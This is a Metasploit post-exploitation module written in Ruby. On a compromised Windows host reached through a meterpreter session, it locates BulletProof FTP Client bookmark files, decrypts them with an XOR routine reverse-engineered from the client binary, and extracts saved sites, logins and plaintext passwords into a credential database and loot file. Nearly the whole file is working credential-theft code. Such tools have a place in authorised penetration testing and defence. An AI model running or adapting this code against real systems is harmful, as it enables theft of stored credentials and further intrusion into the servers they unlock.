##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
require 'msf/core/post/windows/registry'
require 'msf/core/auxiliary/report'

class Metasploit3 < Msf::Post

	include Msf::Auxiliary::Report
	include Msf::Post::File
	include Msf::Post::Windows::UserProfiles
	include Msf::Post::Windows::Registry

	def initialize(info={})
		super(update_info(info,
			'Name'          => 'Windows Gather BulletProof FTP Client Saved Password Extraction',
			'Description'   => %q{
					This module extracts information from BulletProof FTP Bookmarks files and store
				retrieved credentials in the database.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [ 'juan vazquez'],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))
	end

	class BookmarksParser

		# Array of entries found after parsing a Bookmarks File
		attr_accessor :entries

		def initialize(contents)
			@xor_key = nil
			@contents_bookmark = contents
			@entries = []
		end

		def parse_bookmarks
			if not parse_header
				return
			end

			while @contents_bookmark.length > 0
				parse_entry
				@contents_bookmark.slice!(0, 25) # 25 null bytes between entries
			end
		end

		private

		def low_dword(value)
			return Rex::Text.pack_int64le(value).unpack("VV")[0]
		end

		def high_dword(value)
			return Rex::Text.pack_int64le(value).unpack("VV")[1]
		end

		def low_byte(value)
			return [value].pack("V").unpack("C*")[0]
		end

		def generate_xor_key
			# Magic numbers 0x100 and 0x8088405 is obtained from bpftpclient.exe static analysis:
			#.text:007B13C1                 mov     eax, 100h
			# ... later
			#.text:0040381F                 imul    edx, dword_7EF008[ebx], 8088405h
			#.text:00403829                 inc     edx
			#.text:0040382A                 mov     dword_7EF008[ebx], edx
			#.text:00403830                 mul     edx
			temp = @xor_key * 0x8088405
			temp = low_dword(temp)
			temp = temp + 1
			@xor_key = temp
			result = temp * 0x100
			result = high_dword(result)
			result = low_byte(result)
			return result
		end

		def decrypt(encrypted)
			length = encrypted.unpack("C")[0]
			return "" if length.nil?
			@xor_key = length
			encrypted = encrypted[1..length]
			return "" if encrypted.length != length
			decrypted = ""
			encrypted.unpack("C*").each { |byte|
				key = generate_xor_key
				decrypted << [byte ^ key].pack("C")
			}
			return decrypted
		end

		def parse_object
			object_length = @contents_bookmark[0,1].unpack("C")[0]
			object = @contents_bookmark[0, object_length + 1 ]
			@contents_bookmark.slice!(0, object_length+1)
			content = decrypt(object)
			return content
		end

		def parse_entry
			site_name = parse_object
			site_address = parse_object
			login = parse_object
			remote_dir = parse_object
			local_dir = parse_object
			port = parse_object
			password = parse_object

			@entries << {
				:site_name => site_name,
				:site_address => site_address,
				:login => login,
				:remote_dir => remote_dir,
				:local_dir => local_dir,
				:port => port,
				:password => password
			}
		end

		def parse_header
			signature = parse_object
			if not signature.eql?("BPSitelist")
				return false # Error!
			end

			unknown = @contents_bookmark.slice!(0, 4) # "\x01\x00\x00\x00"
			return false unless unknown == "\x01\x00\x00\x00"

			return true
		end
	end

	def check_installation
		bullet_reg = "HKCU\\SOFTWARE\\BulletProof Software"
		bullet_reg_ver = registry_enumkeys("#{bullet_reg}")

		return false if bullet_reg_ver.nil?

		bullet_reg_ver.each { |key|
			if key =~ /BulletProof FTP Client/
				return true
			end
		}
		return false
	end

	def get_bookmarks(path)

		bookmarks = []

		if not directory?(path)
			return bookmarks
		end

		session.fs.dir.foreach(path) do |entry|
			if directory?("#{path}\\#{entry}") and entry != "." and entry != ".."
				bookmarks.concat(get_bookmarks("#{path}\\#{entry}"))
			elsif entry =~ /bpftp.dat/ and file?("#{path}\\#{entry}")
				vprint_good("BulletProof FTP Bookmark file found at #{path}\\#{entry}")
				bookmarks << "#{path}\\#{entry}"
			end
		end
		return bookmarks
	end

	def check_bulletproof(user_dir)
		session.fs.dir.foreach(user_dir) do |dir|
			if dir =~ /BulletProof Software/
				vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}")
				return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
			end
		end
		return nil
	end

	def report_findings(entries)

		if session.db_record
			source_id = session.db_record.id
		else
			source_id = nil
		end

		entries.each{ |entry|
			@credentials << [
				entry[:site_name],
				entry[:site_address],
				entry[:port],
				entry[:login],
				entry[:password],
				entry[:remote_dir],
				entry[:local_dir]
			]

			report_auth_info(
				:host  => entry[:site_address],
				:port => entry[:port],
				:proto => 'tcp',
				:sname => 'ftp',
				:user => entry[:login],
				:pass => entry[:password],
				:ptype => 'password',
				:source_id => source_id,
				:source_type => "exploit"
			)
		}
	end

	def run

		print_status("Checking if BulletProof FTP Client is installed...")
		if not check_installation
			print_error("BulletProof FTP Client isn't installed")
			return
		end

		print_status("Searching BulletProof FTP Client Data directories...")
		# BulletProof FTP Client 2010 uses User Local Settings to store bookmarks files
		profiles = grab_user_profiles()
		bullet_paths = []
		profiles.each do |user|
			next if user['LocalAppData'] == nil
			bulletproof_dir = check_bulletproof(user['LocalAppData'])
			bullet_paths << bulletproof_dir if bulletproof_dir
		end

		print_status("Searching BulletProof FTP Client installation directory...")
		# BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files
		program_files_x86 = expand_path('%ProgramFiles(X86)%')
		if not program_files_x86.empty? and program_files_x86 !~ /%ProgramFiles\(X86\)%/
			program_files = program_files_x86 #x64
		else
			program_files = expand_path('%ProgramFiles%') #x86
		end
		session.fs.dir.foreach(program_files) do |dir|
			if dir =~ /BulletProof FTP Client/
				vprint_status("BulletProof Installation directory found at #{program_files}\\#{dir}")
				bullet_paths << "#{program_files}\\#{dir}"
			end
		end

		if bullet_paths.empty?
			print_error("BulletProof FTP Client directories not found.")
			return
		end

		print_status("Searching for BulletProof FTP Client Bookmarks files...")
		bookmarks = []
		bullet_paths.each { |path|
			bookmarks.concat(get_bookmarks(path))
		}
		if bookmarks.empty?
			print_error("BulletProof FTP Client Bookmarks files not found.")
			return
		end

		print_status("Searching for connections data on BulletProof FTP Client Bookmarks files...")
		entries = []
		bookmarks.each { |bookmark|
			p = BookmarksParser.new(read_file(bookmark))
			p.parse_bookmarks
			if p.entries.length > 0
				entries.concat(p.entries)
			else
				vprint_error("Entries not found on #{bookmark}")
			end
		}

		if entries.empty?
			print_error("BulletProof FTP Client Bookmarks not found.")
			return
		end

		# Report / Show findings
		@credentials = Rex::Ui::Text::Table.new(
			'Header'    => "BulletProof FTP Client Bookmarks",
			'Indent'    => 1,
			'Columns'   =>
				[
					"Site Name",
					"Site Address",
					"Port",
					"Login",
					"Password",
					"Remote Dir",
					"Local Dir"
				])

		report_findings(entries)
		results = @credentials.to_s

		print_line("\n" + results + "\n")

		if not @credentials.rows.empty?
			p = store_loot(
				'bulletproof.creds',
				'text/plain',
				session,
				@credentials.to_csv,
				'bulletproof.creds.csv',
				'BulletProof Credentials'
			)
			print_status("Data stored in: #{p.to_s}")
		end

	end

end
